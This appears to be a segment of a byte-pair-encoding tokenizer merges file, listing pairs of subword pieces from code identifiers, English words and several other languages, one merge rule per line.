+-r ay +ĠS or +m all +Ġmarket place +Ġv tk +M a +og an +ig i +Ġspons ored +ĠD ani +.S EVER +>' .$ +m ultipart +ĠW ol +Ġtable Name +ĠUser name +Background Color +Ġf right +_E MAIL +Sept ember +_val s +op ia +Ġsp otted +- Ch +Ġdata Source +/ "Ċ +ек ÑĤ +ĠRequest Method +ĠRe place +-d o +ah n +ĠPh D +] .ĊĊ +N ON +g ement +ĠTh r +Ġquiet ly +Ġtort ure +Ġte as +ĠC Y +Ġa tr +develop ment +-d etail +Ġlight er +Ġarg uing +Ġdes erves +Ġcur riculum +_CON TEXT +ÅĤ y +H ITE +ĉ ID +/ uploads +Ġt its +re o +_d rop +. UTF +Ġpick up +Ġgro cery +ĠP ure +Ġeas iest +Ph il +.f eature +(" * +Ġinvest or +t ok +Ġj ar +L os +âĢĶâĢĶâĢĶâĢĶ âĢĶâĢĶâĢĶâĢĶ +. queue +-s peed +M al +um blr +ĠCON ST +ĠH RESULT +ĠD ance +(file Path +Ġattrib uted +ॠį +ĠB und +co ins +Ġs ão +Ġp ir +person al +Ġpre lim +Ġprop ose +ĠT L +] ]) +ĠSub scription +ĠK re +, len +.First OrDefault +) -- +_product s +.Get Bytes +Sh ip +Ġenc rypt +ĠS G +ĠM yst +h ir +Ġiter ate +Ġint end +.mock ito +Ġch apters +( angle +ĠV lad +è® ¾ +' .ĊĊ +Response Body +ĠAb d +de al +Ġbar riers +-out line +b ill +ĠF alls +_se cond +. include +. ceil +Ġoccup ation +ph ony +.move To +ĠJenn ifer +AST ER +; ">< +ĠEn abled +Ġtermin ate +ĠI o +l ations +ĠTHE ORY +Ġear liest +Ġr ack +ĠSc ar +sh ake +ch ip +Ġu v +Ġall iance +п иÑģ +ĠGOOD S +z ione +ĠV I +Ġ{ - +Ġfilter ing +Ġmis con +.Dock Style +Ġb ush +Ġj unk +æ Į +ĠQ UE +Ġhook s +Ġfirm ware +Ġmiddle ware +d ic +ĠOak land +Ġarr ives +P ayload +p ixel +] | +Ġstart Date +.P RO +_a udio +Ġmid field +igid body +ĠSw iss +ĠCl ip +ĠD ump +ĠText Box +Ġg eh +y ield +od s +Ġrefer endum +Back end +ĠC ream +Ġdomin ated +ĠArch ive +Ġrid ers +.prepare Statement +Ġqu ando +Ġche f +w iki +in el +am pling +(" \\ +Ġs ag +_pro xy +ãģ ķ +p do +.getElementsBy TagName +Ġdemonstr ation +ĠN PC +Ġarch ivo +end ance +Ġefficient ly +( actual +.t ableView +Ġm ush +Ġbe ars +_thread s +j as +ah un +Ġne ural +Ġdesign ing +ĠG DP +Ġlift ed +çĽ ® +ĠJ oint +ĠIn clude +ĠGi ants +Ġwithdraw al +ĠR ent +n ative +ĠSe ek +gress ion +_C PU +\ S +ĠSh ield +Ġsol ic +Ġbo om +yect o +Ġmanufact ure +ĠâĢ ĭ +Ġb box +Ġearth qu +ollect ors +:@" % +Ġlo ops +J e +alk ing +ĠWh ats +ĠBo ys +. book +ARG E +_p ixel +Ġsus pects +Î ¹ +us p +ĠBM W +ie ces +(p erson +å¼ Ģ +é » +ĠPod cast +Ġb ou +( Item +à » +( Input +Http Get +Ġb urg +) ^ +BO ARD +*/ , +Ġg ulp +ĠB enn +Ġdeck s +.status Code +Ġac ute +Ġh ug +ug u +Ġp led +," % +h ape +Ġз ап +ĠMain e +.re al +Ġd alam +ĠMin or +.F loat +dis p +Ġt l +Ġen count +=> $ +Ġf g +te es +ĠRec omm +ä l +Ġchem istry +Block s +O ID +Ġfore x +ĠApp end +Ġ{ * +ĠSup ply +CG Float +(b l +Ġat e +ador a +Ġg ust +Ass oci +> .Ċ +F ETCH +.s erial +widget s +ard less +ie fs +_F ULL +ernet es +ĠP red +Ø Ń +äº ĭ +ub ernetes +ĠL aura +Ġl abeled +High light +Ġanno ying +/ update +(d escription +Ġintim id +$ c +")) )Ċ +.A P +Ġ[] * +ĠEX IT +.H ost +ĠOP EN +.send Message +_c amera +_t ile +Ġth erm +onom ous +Ġdis adv +Ġna ar +index Of +ĠP P +.prot ocol +AF E +Ġtext ures +################################ ################ +umb ai +.st ats +ĠG E +Ġi e +ĠST D +ĠM ann +.ref lect +K B +Ġd ive +.w av +/* ---------------------------------------------------------------- +/ settings +.l ifecycle +Ġda ughters +or us +ub er +N ING +st ri +ĠT ip +Ġz n +Ġswitch ed +in et +uff y +ĠTransport ation +( conf +fr ica +ĠX L +ĠLe ad +_per cent +< Map +Ġthr ust +or b +ik k +Ġtra uma +Access or +ĠF it +ĠString Buffer +ex pl +(s creen +Ġaud iences +ĠO PTION +_ round +[ node +be h +-> __ +per missions +ĠD etermine +.M an +Ġadv ances +. InputStream +Ġstrong est +Ġe Bay +Ġ# - +Ġdir name +ĠS MS +Ġmedic ations +Ġam ended +Ġchurch es +ĠImper ial +$ row +ĠMad ison +ĠIn sp +Ġaff air +Ġpsych ology +v h +Ġsever ity +âĢ IJ +Ġstri ps +A H +vert ising +Ġcon se +IM AGE +ĠSt ats +ĉs c +.C ursor +Ġfree ze +ss on +(x ml +ĠSus an +.t ile +ed ed +ĠĠĠĠ ĉĉĉ +uel le +ĠMitch ell +b ased +Oper and +½ æķ° +ĠF F +ĉstr cpy +ounc es +ild o +.execute Query +Ġapproach ing +ĠSe ven +Ġn uts +Ġr ic +ass ignment +Ġcalcul ator +ĠMur phy +ĠB ou +í Ħ +Ġbut t +Ġt icks +Project s +il ib +.text Color +m ov +_log o +( template +ĠIN IT +Ġimage View +scri ptions +OR ITY +Con sumer +Ġun precedented +Ġtour ist +Ġbr on +Ġcontract or +Ġlic ence +ĠN am +æ ¯ +( transform +_AT T +P ref +ĠG am +Ġvess els +Ġh av +L ater +.To Lower +Ġurl s +Ġbreak down +Ġpen alties +Ġf oster +ĠU E +Ġcl ue +com ed +åIJį ç§° +-m ain +Ġp ts +Ġcount ed +ict s +/ post +Ġget attr +Ġp ing +ANCE L +Ġp ec +Ñħ од +ant om +ĠBlue print +ĠEvent Emitter +Ġl ä +æ ² +Ġstr aw +( comp +' une +> N +- client +es Module +-b ase +Ġret reat +_s imple +ĉĉĉĉĉĉ Ġ +fe e +') čĊčĊ +Control Item +Ġsubscri bers +ple ase +ĠE ff +Ġp ound +ĠBy tes +ĠTe a +_ activity +Ġmax im +Ġop code +B SD +. constant +; } +omb res +Ġcare ers +) .ĊĊĊĊ +Ġsp reading +-exp anded +ĠOr d +amar in +Ġmob ility +Un fortunately +ak k +N L +_ redirect +ĠP G +ĠS ensor +b ol +t ap +_MEM ORY +ĠUI Alert +plit ude +We bsite +ĠLog o +lo ve +[ ind +Ġalto gether +Ġwonder ed +Ġes per +ĠLib eral +Ġo ss +Ġel it +Ġst iff +od ox +_ment ions +ĠDou glas +_p id +ĠC K +ĠinitWith Frame +.b log +p kg +ang hai +QUI RED +u u +Ġm kdir +AT AL +Ġun h +in ces +st h +Ġhypo thesis +Ġc ata +ĠT B +ĠCl ar +Ġpre decess +Ġsitu ated +-w orld +)) / +Ġhead lines +.st at +Ġout break +sp ath +_FLAG S +ĠServlet Exception +S un +F ROM +ĠD ir +ãĥ»ãĥ» ãĥ» +_co ord +ĠOpt im +Mon itor +.b it +XX X +Ġtod as +f eld +ÑĢ Ð¸ +im ir +Ġpolit ically +Ġmolec ular +Ġtrad ed +Ġ{{ $ +ĠSw edish +Ġ'@ / +_RE AL +Ġw arehouse +t oday +, L +or p +< section +- br +ym e +ĠUser Service +Ġlib erty +Ġmoment o +( Image +< size +S ch +Ġj og +i ology +arent ly +Ġquant um +ĠAb u +Ġr im +Ġman a +Font Size +Build ing +st airs +AIL ABLE +Ġ& ' +Ġs ect +Ġs igh +(b atch +.I Container +p oll +ĠCor ps +Î µ +ar u +ĠK ay +.r ange +_click ed +ĠRobert s +.N etwork +fin ish +- Man +Ġcolleg es +ĠF ine +")) ,Ċ +f ilm +Ġrem inded +Ġgest ure +out il +Ġthread ing +Ġobj et +Ġt ours +activ ated +.m kdir += user +Ġre de +f ü +_SY STEM +p v +Ġcon gr +Ġmass asje +Ġpract ition +Un iversity +Ġtab index +Ð ĺ +S ets +Ġcount ies +g uest +f an +Ġword en +.d i +на Ñĩ + ¿ +ig Decimal +Ġsh ore +Ġg ö +Ġrep airs +Ġhelp ers +Ġcenter ed +OL LOW +Ġmap StateToProps +Ġc ents +< A +Ġexpect ation +Oct ober +Ġbg color +ca les +.C ON +ĠV el +Ġcry ing +-se ason +Ġfunction ing +_LOC ATION +ü ss +ber y +Par a +omin ator +- le +Ġeth ical +has htags +emp lo +Ġn úmero +( activity +.St op +.str ftime +IL D +Ġto e +ĉ Node +") čĊčĊ +ĠPu erto +Ġexec uting +ĠG UID +Ġoppos ing +al ph +Ġexhib it +_fl ash +Ġme ille +Ġjson Object +H ero +aint ed +_D OM +Ġw il +Ġslo pe +Ġm Ã¥ +ĠIraq i +Ġorgan ize +ĉj Query +H UD +sh ine +. we +ĠSk ills +pons or +Ġcon clusions +Ġre forms +Ġrel uct +n amed +ĠOl iver +Ġ// }Ċ +- looking +Ġf og +ĠH O +ĠF ried +Ġinev itable +ĠData GridView +H our +il les +log ical +Ġconnect ivity +.tw ig +ĠK yle +(d st +- Sh +ĠStud ios +( Level +.j et +_PRO TO +-de coration +OT HER +Ġread ily +.Param eter +Ġmultip ly +ĠL IB +ar med +Ġsoon er +æ Ħ +_ ES +Ġfoss il +ĠA nc +âĢľ This +l odash +Py thon +Ġhist ogram +west ern +Ġinf ant +Ġco ordinator +Ġn ib +: m +Ġres pected +Ġdef init +& T +_p ad +ĠTr igger +th al +Ġimage Named +Ġbeat en +ĉ rc +ĠPal ace +Ġhaz ard +Ġisol ation +_ rc +cont re +OUT PUT +Ġre ign +ĠPl ate +AT ES +Ġfl ux +Ġpack s +.get Selected +Ġparticip ated +Ġneed le +-de pth +:::: :: +-l aw +ins pace +on itor += no +ĠAt omic +ĠBr ain +Edit able +-s c +red ential +ĠP erry +k ie +Ġ ----------Ċ +.st roke +( Intent +Ġun ity +um lah +F urther +Ġpr ze +Ġs ø +ãĤ Ĭ +ĠPROC UREMENT +ĠH ousing +Ġatt orneys +Ġcomp ose +atter ing +" What +dra ul +Ġstraight forward +In stant +.J TextField +Ġtr ades +л а +Ġ{ ! +Ġl ately +IM G +ĠA ld +ĠIN NER +Ġcart oon +.S ource +F ALSE +Ġd ough +f en +( rect +Data Table +N ick +ĠBut ter +read s +_com ments +EN V +ĠConnect icut +-F IRST +ĉĉĉ ĠĠĠĠĠ +ach i +.M sg +re ction +Ġrelax ed +Ġsha ft +Ġe f +ĠAdd ing +Ġbre ach +Ġ ï¼ļ +ram a +Ġconduct ing +Ġ( ; +(g l +ĠCA USED +ash i +ĠF LAG +ĠCom merce +ĠIN TEGER +h ours +ĠSchool s +Ġn ucle +Ag ain +pro j +Ġsevent h +EMPL ARY +(m ock +'] ,čĊ +_S PEED +> false +Ġsp a +ĠN ear +ì ķ +Ġintr ig +_m embers +w ave +Ġanalyst s +_O S +ed in +ĠF ri +Ġretrie ved +Reg ular +_ obs +EX PORT +')}} " +" class +__ (( +b ucket +Ġst ro +ĠP atch +yst ick +ful ness +ap os +D a +ĉĉĉĉĉ ĠĠĠ +Ġen rich +un ordered +h ole +C ong +< Product +ĠC urt +( the +_l ower +Ġavoid ing +Ġbu zz +Ġv iable +ub a +- is +are l +Ġact ed +-d etails +ภĩ +ĠThe ory +ĠP un +ĠAn onymous +... "Ċ +è res +åı ¯ +ĠV ision +_se m +ash a +Ġcelebr ity +Ġend Date +Ġpop ulate +Ġcu is +qu ant +f loor +Ġglob ally +Ġcru ise +ĠStan ley +Ġb ikes +.get Connection +Ġpoor ly +_ other +amp ing +." );ĊĊ +od i +_A DMIN +.color s +ĠG aming +> ';ĊĊ +STR UCT +Q R +ID s +(arg uments +_a ux +( Event +_PR IVATE +ĠTre k +Ġdownload s +m utable +_STR UCT +(w x +Ġdom ains +js px +ĠVi agra +Command s +J s +.c fg +Content Pane +ĠEdit Text +à¥į ठ+Att ach +ĠAR M +posit ive +ĠGener ated +Ġse ized += : +Ġelectron ics +ĠApp Component +/ ',Ċ +.equals IgnoreCase +Do ctrine +d isk +ĠPolit ical +CH O +< F +ĉ height +ĠB ug +. le +ik h +Ġmill iseconds +Ġconstit u +m ag +.n l +-r ange +ang gal +', [ +ropol itan +Ġà ľ +ĠU C +.d esc +-L AST +f stream +ib il +Ġf ier +VER Y +Ġë ³ +IR T +_ UI +( abs +Ġkne es +Ġro okie +ĠV ac +are na +comm end +- \ +ĠSUB STITUTE +So ft +Ġpart ir +we alth +è¦ ģ +(d ataset +ĠCl imate +- show +Ġreli ability +_ch unk +ä» £ +_st ock +ĠEX EMPLARY +ï¸ ı +Ġv ÃŃ +Ġsm iled +Ġdr ill +.F unction +ĠS I +Ġreg ression +- X +ĠJ ar +p ref +ĉs uccess +ĠHit ler +Ġinst inct +Ġfem mes +Ġlo ver +< Ċ +Ġmulti plier +r il +Res ize +ĠAuthor ization +ĠK an +Dispatch ToProps +Ġc rops +t okens +ec n +ential ly +ĠINTERRU PTION +f ake +Und efined +ĠA K +ĠTest Case +Ġr ab +Ġtor rent +ĠO t +B ars +Ġlect ure +Ġen jo +Ġrespond s +Ġindex ed +Of Work +_ch ain +)) -> +ĠBeaut y +Ġ` < +Ġtouch ing +Ġ| -- +ĉf lag +normal ize +Ġtr apped +Ġestablish ing +/b uild +A J +f y +- react +av n +RI PTION +Ġk ut +ĠF ashion +ĠIn form +cur ities +< byte +ĠUkr ain +Ġs ug +Ġconsist ing +ood le +. ctx +.To List +Ġcomment ary +Ġtransf ers +Ġn ost +ih ad +ĠU pper +Ġconf using +miss ing +- cl +Ġbound ing +Ġcongress ional +Ġreve aling +d h +r up +Ġt res +re peat +, ĊĊĊĊ +_t ac +Ġexp ed +G irl +h orizontal +Ġ"../../ ../ +( option +Ġwe iter +ĉs ql +Ġ=> {Ċ +Ġgar lic +Ġre pr +Ġrepl ies +( prop +Ġspir its +Ġins pire +Ġbas ement +.re ject +Ġhint s +Ġpoll ing +ĉ ĠĊ +_r ating +Ġc ath +av ier +Ġcomp ressed +ĠV S +] ' +Ġjud icial +ĠT rend +tr aining +EST AMP +ogn ition +Ä ģ +SE NT +vent ions +Ġconsult ant +um ph +Ġuser Service +, NULL +k h +D ear +_B AD +it ations +Ġmet aph +' é +and ise +-f ont +.ch art +Ġs g +_ Controller +.j peg +ĠUL ONG +ĉg ame +( ss +ĠM aj +ĉg o +ĠS ad +ĠB erg +ĠM ine +P ack +Ġres istant +ĠR OM +Ġp eg +ĠStan ford +ĠY ahoo +Ġsca led +Ġl an += [] +"/ > ččĊ +Ġs ud +ĉ background +Ġsch olars +-m uted +ar á +Ġ= ==== +Ġ__ __ +C reat +ene ver +/w p +ĠV PN +Error Code +) ],Ċ +(b uilder +ĠEn emy +S ensor +us a +Ġtr iggers +Ġplayoff s +_RE Q +Ġ( ~ +ĠBar ry +Ġperman ently +ĠR UN +Ġb ure +.Fat alf +Ġch ick +ĉ panic +ps i +ok a +éĢ ī +> [ +Ġunderstand s +ĠJun ior +ĠIN FO += mysqli +ust ain +-s ource +s erv +ĠC REATE +. au +Ġsell s +ĠĠĊ ĠĠĊ +E urope +z w +pre h +ĠNS A +Ġx y +ภ´ +ĠB eyond +Inst ead +Non Query +Ġar ise +Ġavoid ed +.em place +_model s +} ),Ċ +Ġh id +Ġ& _ +.p oints +.get Width +.Ex ec +Ġ// // +ĠS essions +... \ +ĠCol omb +Ġacceler ation +rest ore +Ġ ile +ob ic +< Node +ĠD X +ĠBes ides +. age +ĠCont ains +N ational +ĠIm plementation +Ġeff ic +ĠR M +H y +ĠWed ding +ok ies +Ġrec ursive +Ġprosec utors +.Se lection +ĠForm ula +Been Called +[i i +ĠFr an +Ġtraged y +_F EATURE +Ļ ¨ +comp ass +ĠB h +? ĊĊĊ +.w riter +ĠH our +Db Context +io v +am on +re pr +é ĥ +ĉf i +'] ] +ĠD ry +. ro +ĠO bserv +æł ĩ +Form er +ĠB alance +ĉ json +Ġpr zy +I SS +( sock +ĠL INE +Ġde ce +Ġal ly +Ġtend ency +F un +Ġschem es +Ġinter ven +æĺ İ +Ġad verse +quote lev +Ġsacr ific +_s ide +Ġmut ex +AG IC +Ġocc urring +ĠCommunic ation +um ar +ç¼ ĸ +ĠTreat ment +.p erson +ĠL C +Ġe ch +( (" +ĠDise ase +ä d +ĠA Z +.A ccount +Ġcontinu ously +END ING +ĠRET URN +- string +.f ilename +syn thesize +Res ponder +( opts +reg s +Ġn uest +Pe er +// ------------------------------------------------ +Ġg auge +ĠK in +.s chema +Ġarr ange +ĠBl ake +_Type Info +C over +ĠHamp shire +P aper +-in ner +util ity +Ġcross origin +F OR +Ġign oring +ĠD D +av an +Ġtrad itions +Ġget String +Ġeth ics +ĠMaterial s +DE SC +Ġen zym +io let +ĠCh ip +ĠMc Donald +Ġn erve +ç Ħ +") ] +æ± Ĥ +ĠS ugar +_S IM +j peg +Ġdiscret ion +ĠT N +bo ve +ĠMin imum +ĠForm Group +Ġwork force +ĠExec ution +err er +ĉ ĠĠĠĠĉ +Ġpres cribed +.Text Align +OP EN +ĠP B +im ity +ĠEx ternal +° C +ĠApplication Controller +Ġb arr +imp licit +_d ot +ĠCol on +C OLOR +.Pro ject +* }Ċ +pl aint +get Text +Ġindivid ually +Ġcheck box +U Y +ĠL amb +Ġdys function +ĠL ar +à ° +ĠCre ating +');ĊĊ Ċ +" They +loc ations +_C ORE +Inter action +umbn ails +ĠPart ner +b rit +Ġless er +ĠSl ot +set Attribute +ĠW ave +.p o +/ store +Ġbrows ing +_p d +sum e +s ed +Cur ve +Ġpl asma +Ġsusp icious +ìĿ ¸ +ĠB ah +ĠExp licit +_C C +.Client Size +\ View +Ġsub stit +lo on +ĠG AME +ĠB rid +Ľ 建 +_ User +Ġsqu ares +f one +Ġsac red +ug hs +] interface +ĠTh row +ĠK irk +Ġemp ire +Ġassess ed +T ax +ĠHe aven +-b uffer +_STAT IC +én é +-b ordered +Ġpun ct +(m ode +Ġke ine +S ent +ĠCal cul +ĠE ve +Ġsty lish +Ġoil s +.Test Case +Ġtrad emark +Ġliter ary +Ġconcentr ations +ĠRel ations +( Class +Ġstd in +Ġv æ +back up +. VERSION +.AutoScale Dimensions +st arter +Transaction al +- panel +St udio +k c +ĠCh amber +ĠSpi el +Ġr ho +ا ÙĦ +! ' +.At tributes +Ġmurder ed +apeut ic +Ġint imate +Ġtext Field +ĠBuff alo +d ummy +" % +ĠLib erty +ob ar +ĠT ank +ĠPop ular +erv isor +ĠIn iti +ĠM all +ĠP rior +C AP +ĠCl ay +ĠCert ificate +.L ock +-st rip +-dr iven +/ all +ĠMessageBox Buttons +_SE CRET +_p b +Ġr ats +ा ठ+Ġn t +.R outer +_top ic +Ġt ennis +ĠP UBLIC +ĠActiv atedRoute +Ġ' ,Ċ +Ġcost ume +Ġj okes +. Handle +ĉ byte +Ġflav ors +( cc +Ġperson as +ĉ image +ĠN azi +Ġgram mar +Ġú lt +Ġval ve +Ġv ic +ĠR achel +_in valid +P refs +std int +(r oute +Ġhtml specialchars +Ġpe oples +pl ine +Ġn v +ĠQu ant +opp ers +Ġcurrent User +ĠC atal +Ġrecon c +Ġconj unction +l x +amb urg +Ġinflu ential +d anger +ind ers +Ġ% @", +.config uration +os ome +. identity +Ġpick er +n ost +ĠDI Y +Aug ust +ab lo +Le af +ĠRec o +ck o +DO C +ĠH erm +: any +ĠInt erview +ĠT ex +x fe +( work +Ġle ap +He ading +Ġqu arters +\ Bundle +re b +Per haps +ĠG mbH +B irth +ĉ sum +ĠWat son +.n il +ç ¡ +{ }ĊĊ +ica id +Get ter +" name +Ġ" čĊ +_n one +z m +ac ute +uest o +Ġs ous +Ġre build +Ġnewsp apers +ĠH az +Ġk its +if o +Bl ur +Ġsu ited +- In +à ¯ +ĠKe ith +ĠNor way +IN IT +ire ccion +iet ies +_us age +ĠDou g +r ise +Ġtr illion +im ited +ĠR EL +al ic +Ġcritic ized +the orem +Ġce ase +Ġsid ew +ĠT erry +Ġsubs idi +Ġfirm ly +Ġaw s +Ġh ott +Ġdress ing +bad ge +ĠApp lications +è¿ ĶåĽŀ +Ġlaugh ed +Ġh obby +Ġmus icians +Ġ* . +. placeholder +Ġcount ers +ĠCap itol +SD K +Ġhel met +and box +qu it +Ġcriminal s +Ġteen ager +( update +G l +.se lection +Ġdis charge +Ġpresent ing +ufact urer +_UN KNOWN +Ġstress ed +å ύ +Pro to +_cor rect +ha us +Ġren ov +Ġfire arms +Ġtechn ically +-b rowser +Ġc andy +St roke +Ġexec utor +Ġocc urrence +ĠIP v +_INTER FACE +ĠRetrie ve +.b ad +Ex change +Nav bar +ĠK id +(get ApplicationContext +_ST OP +ĠB oss +List eners +Ġshoot er +ĠAl b +ä ch +Ġp ix +.key Code +al one +Ġabs urd +ĠC um +ĠNewton soft +ik t +Ġlaugh ing +Ġcapital ism +ree Node +T x +_QU ERY +.S leep +( login +Web Element +Ġcelebr ating +Ġde precated +Ġma ar +Ġart istic +_ASS OC +ĠBorder Radius +ĉw p +Ġsurviv ors +In ner +- red +Ġprosec ution +_ pp +(" $ +Ġcomm a +un checked +graph ics +r ors +G ROUND +( public +Ġcustom ized +ĠArk ansas +ĠR ew +Ġexp iration +× ķ +ĠC ul +Ġn ons +.F ilter +Ġsen ator +_def inition +ash ington +ym ph +/ J +Ġf use +ram id +ĠSup plier +Ġaut ocomplete +Ġ} ), +." ĊĊĊ +_function s +ĉ to +.e val +ĠT Object +Re ferences +Ġhe ated +H AL +Ġ)) }Ċ +} $ +ĠB arr +_UN IT ++ $ +Ġget Value +ip ed +ch ied +(v m +c ue +_int eger +_c ourse +th ird +Ġrevis ed +** /Ċ +_D IRECT +Out Of +(" ( +ĠFe el +Ġre ass +Ġsub title +per i +n f +Ġenjo ys +Ġtreat s +) this +-t abs +anc ers +Ġcontin ent +Ġcard io +S er +. question +Ġph rases +Valid ators +Ġpop ul +Ġl ÃŃ +s ong +_IN TERNAL +Ġadvis er +Ġp uzz +Ġambit ious +ĠT ob +ĠD P +Ġpres idency +Ġsurre nder +Ġwatch es +_b inary +ĠSo on +Ġcan ada +(" ")Ċ +] =' +ĠBr andon +eps ilon +r w +.add Child +.C opy +Pr incipal +Ph otos +Ġmarg inal +Ġbas ics +e ing +M ust +_ String +Ġo le +M agento +.c ustomer +(p rev +ภ¥ +Ġlo yalty +C og +Ġprot ocols +ĠCom panies +Ġtheoret ical +Ġaccess ing +ĠZ en +. ones +att ice +_w orld +z es +Ġtatto o +Ġmen os +Ġinter sect +"] ;ĊĊ +bel ie +Ġin active +.read line +-label led +.d one +lick r +ĠW ORK +Ġderiv ative +Ġd atabases +âĤ Ĥ +Ġs x +.is Array +Ġy s +Ġp ada +ĠBul let +(` / +is Active +ĠCG Size +(equal To +ĠColum bus +Ġmar ry +DE V +_l imits +ron es +I AS +Ġt au +min o +_W rite +ĠW ine +Ġ[ [' +ĠP ull +rit ers +ri ents +Ġsh ifting +up p +_TIM ER +ĠCondition s +Ạ¥ +ĠOr ders +ĠSt rength +æī Ģ +Ġvalid ity +Ġf ot +et ur +Ġb olt +åĨ ħ +ĠAl ong +os hi +Ġassum ptions +Ġmag azines +_S PI +Ġp unt +_PRO DUCT +Ġrel ay +ĠJ avascript +. te +- es +Ġwidget s +(f s +< Item +_ex tra +Ġrecru iting +E t +Ġnecess ity +p w +Ġnov els +uss els +Cre ator +ĠM VP +ĠO C +th ood +cl ients +)) * +Ġcharacter ized +_SE ND +ut i +T y +.from Json +@ Service +ãĤ Ĥ +Ch ris +_ Is +ĠJohn ny +Ġclean er +ĠInitial izes +UN K +( axis +еР· +ie val +ĠWar riors +} )( +DM I +âĻ Ģ +ĠTre asury +Ġfe as +Ġsl a +_EN UM +l hs +ĠIn stit +ipp ers +Line ar +Re ading +quir ies +-c ell +ch rome +.S earch +IN A +ç±» åŀĭ +ĠĊ ĠĊ +ĠSam uel +Ġmill s +Ġdon ate +ĠGe o +( rows +Ġshe ep +Ġé l +ä½ ĵ +Ġb em +_UN USED +ĠR CC +Ġintrodu cing +att a +ĠP riority +ĠF B +ĠSer ge +> "; +atch ing +ĠKnow ledge +ĉ The +; margin +less ness +op ard +um atic +() ));čĊ +Ġf als +(c ache +Type Id +éĢ ļ +_ choice +ĠGo th +ĠS ites +M G +_b order +Ind ices +Compar er +ĠRed istribution +Ġclo set +Ġvers atile +Input s +**************** **** +Ġob esity +qu iz +gr a +(g lobal +åĬ ¡ +Ġcollect or +Ġk or +ov able +AD C +ĠEvent Handler +. nc +Ġplay back +ient os +_p erm +_W ARNING +ĠOlymp ics +.n orm +ĠBroad cast +_sm all +dr ive +. iloc +Ġtyp ed +M EM +_con s +DM ETHOD +Ġl un +.d istance +(p ar +po on +Ġb ast +activ ities +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +: čĊčĊ +S ER +) && +_l st +ĠPol ish +Ġknock ed +Ġfrustr ation +au kee +Ġph osph +iqu id +_c oeff +æŃ ¤ +L atest +ĠD ust +T ipo +Ġmaint ains +Ġmar sh +inc inn +l bl +C are +Ġneighborhood s +_g pio +ĠAr senal +D em +ĠW he +_h ook +Ġl dc +ĠHar per +ĠBer keley +Ġgrad uated +Per cent +Ġarr iving +ĠAdvent ure +(s cope +(' * +qu arter +ĠMar ie +Spe aking +_code gen +Ġimm un +c aster +ãĤ Į +åķ Ĩ +ĠDim ensions +.rec ord +Ġtext o +ĠMich elle +P ending +( by +_P AR +uch t +be e +.Th read +amp ire +k now +ĠClin ical +Ġmargin Bottom +Ġdistingu ish +.F ull +. undefined +ĠSequ elize +################################################################ ############ +Ġeduc ated +_O VER +åº ı +ĠÂł ĠÂł +_e ach +Ġur ge +de part +Ġdon ors +ĠA u +Ġbill ions +Ġbelong ing +_ age +_ Int +Ġsub stances +m achine +!! !ĊĊ +Ġjson ify +ib bean +ĠC ad +Ġend Time +Ġc ycling +ĠUIT extField +Ġle verage +Ġvan illa +e at +La unch +( pt +st ates +ĠControl s +ĠRes pons +ĠJ ake +Ġas leep +fort unate +.next Line +Size Mode +ìĿ ¼ +Testing Module +G erman +ĠInvest ig +.re verse +ĠB ACK +( DateTime +Ġnon profit +ĠEx pect +Ġt anto +'] ), +ĉ the +M ultiple +(get Activity +_W AIT +Ġj á +de cor +lev ance +ĠGit Hub +min ation +_qu antity +.Sc anner +ĠL ion +éĶĻ è¯¯ +Ġd re +Ġtan tra +Ġcontent Type +Ġf id +_ alt +NS IndexPath +- pl +åĮ ĸ +Ġantib iot +table s +ac ial +ĠReg istry +Ġol ive +ig ers +Ġsubscri ber +_p res +ĠSy ntax +Ġlo vers +. Byte +old ers +_for ward +al ways +C aption +Pr iv +ĠT ampa +is ateur +-labelled by +ĠTo String +Ġì Ĥ¬ +Ġinit iated +W F +Ġinstitution al +in ject +ĠSc r +Ġdo ctrine +Ġsp acious +is ure +ĠAn a +" time +ess aging +Ġc id +ĠN an +Ġin complete +T AG +-b uild +Dec ember +Ġres idual +(P DO +ĠList en +Ġg lyph +Ġg aps +ne a +.R ect +Ġsa u +ĠPhot ograph +Ġexec utable +ĠExp ert +Cor outine +_s izes +ĠN L +.is Valid +); }Ċ +- reg +Ġc iting +c wd +ĠOtt awa +ĠB att +Ġrenew able +Ġprelim inary +Ġas ylum +Ġw rist +Ġutil iz +Ġdet ention +F ast +Ġan ge +incinn ati +Ġste ering +ĠNa N +ios ity +/ page +Ġè ¿ +ster ol +Ġdis g +( DB +ĠDESC RIPTION +Ġ_ $ +Ġobst acle +Ġb izarre +Ġextr action +_ex pected +Ġlos es +ĠCele br +Ġhtml For +Ġexplo it +олÑĮз ов +XY Z +Ġmagn et +amp ed +Ġat oms +S ources +pect ives +Ñģ ли +Ġ= čĊ +Ġd are +ĠWal ter +Ġbright ness +Ġan notations +ë ı +is ke +S chedule +. images +ros so +Ġ" .. +g amma +Ġin structor +Ġover write +- am +Ġdevast ating +ĠSaint s +Ġh s +Ġbon uses +$ output +ij d +(Action Event +mon itor +Ġmatt ress +Jan uary +.j p +Ġcar acter +Ġim pose +_re st +ĠSign ature +Ġcoron avirus +ãģ Ĭ +_com pare +Me asure +it ated +el ijk +ig os +es ar +Ġrush ed +met ry +_SE PARATOR +_W E +_ATTR IBUTE +Ġy aml +Ġspec s +ĠR ah +ph eric +ĠInvest ment +ä ll +Ġappe aling +Ġview port +ç © +Ġmargin Left +Ġsub tract +ĠED IT +ĉ ArrayList +gr ading +ĠF ailure +as per +EE K +(n ow +< object +ĠAl ignment +ple ado +q tt +( ERROR +ĠIN VALID +Ġuser id +ra ises +ID I +Ġvari ance +ĠN il +/ delete +_M AIN +.T oken +.C ategory +> )Ċ +Coll ision +ĠGre ater +ĠR acing +al an +Ġmon etary +, new +ĠS orry +. Enable +ĠInstant iate +oll en +ë© ´ +ĠCall ing +_h our +AD A +Ġsh y +) ** +Ġ== > +Ġes pecial +Ġinterpre ted +! =" +Ġpharm acy +.s ingle +ĠC ialis +Ġpar as +.to UpperCase +ĠDem on +Pr ime +Ġrank ings +Add ing +_H ASH +ĠEx am +Ú © +ĠVict or +Ok ay +"] ;čĊ +Ġfort une +ĠF ETCH +exp and +.Inter op +Ġb arn +æ ¶Ī +ue vo +Ġspec ulation +âĶĢâĶĢ âĶĢâĶĢ +ĠN u +ĠBl ues +(f name +Ġinhab it +Ġ\" % +C ES +ular io +_c r +Ġvalid ated +Ġmid night +ank ing +Ġincorpor ate +Ġpurs uit +EX P +pr ime +P id +- US +ĠN urs +ĠW heel +é ĺ +Ġin p 